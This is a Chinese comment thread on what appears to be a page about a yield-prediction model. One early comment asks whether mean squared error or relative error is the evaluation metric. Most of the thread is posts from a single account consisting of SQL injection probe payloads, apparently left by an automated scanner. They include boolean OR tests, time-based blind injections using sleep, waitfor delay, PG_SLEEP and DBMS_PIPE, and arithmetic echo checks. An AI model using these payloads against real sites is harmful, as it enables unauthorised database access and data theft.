"计算预测到期收益率与实际到期收益率的均方误差，以每日相对误差平均值作为评价标准，均方误差越小，模型预测效果越好。"
一会儿说均方误差，一会儿说相对误差，究竟用的哪个？
Posted by: oldwain @ 四月 25, 2021, 11:39 p.m.这里没人回答？
那有没有什么别的沟通交流渠道？
-1 OR 5*5=25 --
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.-1 OR 5*5=25
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.-1' OR 5*5=25 --
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.-1" OR 5*5=25 --
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.-1' OR 5*5=25 or 'Tw90uIEs'='
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.-1" OR 5*5=25 or "pExnjLmN"="
Posted by: ubBXeXAp @ 一月 27, 2026, 9:21 a.m.
*if(now()=sysdate(),sleep(15),0)
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Posted by: ubBXeXAp @ 一月 27, 2026, 9:22 a.m.
-1
-1)
-1 waitfor delay '0:0:15' --
nJXz65aQ'
-1 OR 988=(SELECT 988 FROM PG_SLEEP(15))--
-1) OR 710=(SELECT 710 FROM PG_SLEEP(15))--
-1)) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
6F5yTzdA' OR 176=(SELECT 176 FROM PG_SLEEP(15))--
nAY9H2uo') OR 226=(SELECT 226 FROM PG_SLEEP(15))--
jbSZ1sfk')) OR 511=(SELECT 511 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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Posted by: ubBXeXAp @ 一月 27, 2026, 9:24 a.m.(select 198766*667891)
Posted by: ubBXeXAp @ 一月 27, 2026, 9:24 a.m.(select 198766*667891 from DUAL)
Posted by: ubBXeXAp @ 一月 27, 2026, 9:24 a.m.